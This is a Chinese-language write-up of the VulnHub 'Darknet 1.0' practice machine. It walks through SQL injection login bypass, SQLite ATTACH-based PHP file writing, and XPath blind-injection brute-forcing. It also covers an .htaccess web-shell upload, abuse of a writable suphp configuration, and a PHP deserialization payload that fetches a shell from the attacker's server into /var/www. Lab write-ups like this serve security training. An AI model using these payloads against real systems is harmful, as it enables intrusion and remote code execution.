Darknet: 1.0
项目地址:https://download.vulnhub.com/darknet/Darknet.rar
是一个打包好的镜像文件
注意:导入 vmx 时一定要选择我已移动,否则没网
使用 Nmap 扫描出开放服务及操作系统版本

敏感信息泄露
Apache 虚拟主机配置文件
扫描目录发现一个文件

文件内容如下
1 | <VirtualHost *:80> |
这是一个 Apache 虚拟主机配置文件
- 域名:
888.darknet.com - 管理员邮箱:
devnull@darknet.com - 网站根目录:
/home/devnull/public_html - 错误日志路径:
/home/devnull/logs - 用户名:
devnull
.htaccess 是 Apache 服务器中用于目录级别配置的文件,通常用来控制访问权限、重写 URL 等
尝试修改 hosts 文件将 888.darknet.com 指向目标 IP
1 | vim /etc/hosts |
添加内容为
1 | 192.168.1.100 888.darknet.com |
之后访问该域名即可看到登录框

SQL 注入
Darknet(万能密码)
使用 SQLMap 没有跑出来,尝试手动注入
unrecognized token 是 SQLite 数据库非常典型的错误描述

尝试万能密码
1 | devnull' or '1 |
构造的语句
1 | SELECT * FROM users WHERE user='devnull' or '1' and pass='[MD5_HASH]' |
万能密码登录成功

RCE
SQLite
这里需要了解 SQLite 注入怎么 RCE,首先得知道路径

再结合上面的信息泄露可得出
1 | /home/devnull/public_html/img/ |
首先,通过注入点执行 ATTACH 命令
这会在服务器磁盘上创建一个名为 shell.php 的新数据库文件
1 | ATTACH DATABASE '/home/devnull/public_html/img/phpinfo.php' as pwn; |
在刚刚附加的 pwn 库中创建一个字段,用于承载我们的木马代码
1 | CREATE TABLE pwn.shell (code TEXT); |
将 PHP 代码插入到表中
1 | INSERT INTO pwn.shell (code) VALUES ('<?php phpinfo(); ?>'); |
发现禁用了大多数命令执行函数

尝试绕过
1 | ATTACH DATABASE '/home/devnull/public_html/img/files.php' as pwn; |
找到了另一个 VirtualHost 配置文件/etc/apache2/sites-available/

1 | <VirtualHost *:80> |
Xpath 注入
Contacto
重新修改 /etc/hosts 访问

点击图片中的链接跳转到了新的页面,同时 URL 中多了一个参数 id

但是测试 SQL 注入并不存在,于是开始 FUZZ
发现该有效载荷 count(/child::node()) 成功地为该参数返回了有效结果id

count(/child::node()) 是标准的 XPath 1.0 语法,用于计算当前 XML 文档根节点下子节点的数量
注入点探测
构造真命题 id=1 and 1=1 确认能否布尔盲注

爆破节点
我们不知道 XML 的结构,所以必须利用 name() 和位置函数来让服务器“自报家门”
我们通过 starts-with(name(.), 'a')、starts-with(name(.), 'ab') 不断累加字符
只要页面返回了 errorlevel@darknet.com,就说明我们的猜解是正确的
1 | import requests |

爆破字段属性
当路径被锁定为 //auth/user 时,接下来的任务是找到除了 email 之外的“价值字段”
1 | import requests |

爆破字段值
现在的障碍只剩下最后一道防线:提取它们的具体值(id 只是数字,所以排除)
1 | import requests |

弱口令
Secure Login
访问 robots.txt 文件拿到一个敏感路径

是一个登录框

成功进入后台,但是 Editor PHP 功能没用

文件上传
.htaccess
查看页面源代码发现有个注释文件

访问来到文件上传点

很快我就发现,必须选中正确的复选框组合才能上传任何内容
每个复选框都有一个数值,所以我把这些数值复制到一个脚本中,然后尝试所有可能的组合
如果响应中没有出现西班牙语 “Key incorrecta!” ,我就知道这个组合是正确的
经过一些手动调整,我还发现密钥由 4 个整数组成
尝试使用多于或少于 4 个密钥的组合会导致 HTTP 响应出现 “ La longitud de la clave no es la correcta!”
最后爆破出来是
1 | 37, 10, 59, 17 |
因为在前面有泄露过 Apache 配置信息
1 | <VirtualHost *:80> |
编写含有木马的 .htaccess 文件
参考 PHP 大码:https://gist.github.com/leonjza/8e9d16c84cf70014c4f36d8f95f9836e
运行下面的脚本
1 | python pack.py shell.php |
下面这段配置的作用是:允许通过 Web 访问文件名以 .ht 开头的文件(如 .htaccess)
1 | <Files ~ "^\.ht"> |
这行告诉 Apache,将扩展名为 .htaccess 的文件交给 PHP 解析器处理
1 | AddType application/x-httpd-php .htaccess |
完整脚本如下
1 | # <!-- Self contained .htaccess web shell - Part of the htshell project |

提权
/etc/suphp.conf 配置不当
进入 /var/www 目录下发现所有文件夹运行都是 root

下载 sec.php 文件,观察代码应该是要查看反序列化

1 |
|
去看看包含的两个文件
1 |
|
__destruct()在对象被销毁时自动调用(例如脚本执行结束)- 它会从
$url读取内容,然后写入$path/$name_file,并设置权限为 0644 - 如果攻击者能控制这三个属性,就可以从自己的服务器下载恶意脚本并保存到目标目录
1 |
|
__toString()在对象被当作字符串使用时调用(比如echo $obj)- 这里它只是返回固定的
"Showme",暂时没有直接危害,但可以用来测试漏洞是否可用
先测试一下是否可用

编写脚本测试
1 | import requests |

排查错误发现 /etc/suphp/suphp.conf 文件可写
suPHP 是一个用于以文件所有者权限执行 PHP 的模块,它的配置文件中:
1 | ; Minimum UID |
这意味着 PHP 脚本的所有者 UID 必须 ≥100 才能被执行。而 sec.php 的所有者是 root(UID=0),因此 suPHP 拒绝执行它,导致 500 错误
所以我们需要将其修改为 0,然后重新上传覆盖

反序列化
目标:触发 Test::__destruct(),从攻击者服务器下载 webshell 并保存到 /var/www/pop.php
如果只序列化一个 Test 对象,反序列化后 $j 就是该对象。执行 echo $j 时,由于 Test 类没有 __toString(),PHP 会抛出致命错误(对象不能转换为字符串),导致脚本提前终止
解决方案:将 Test 对象和一个 Show 对象放在同一个数组中序列化
1 | $payload = serialize([$test, new Show()]); |
反序列化后 $j 是一个数组,echo $j 只会输出 "Array"(并产生一个 Notice),而不会尝试将数组中的每个元素转为字符串
因此脚本可以顺利执行到结束,从而触发 Test 对象的 __destruct()
设置属性
1 | $test = new Test(); |
最后反序列化
1 | a:2:{i:0;O:4:"Test":3:{s:3:"url";s:35:"http://192.168.252.1:8000/shell.txt";s:9:"name_file";s:7:"pop.php";s:4:"path";s:8:"/var/www";}i:1;O:4:"Show":1:{s:4:"woot";N;}} |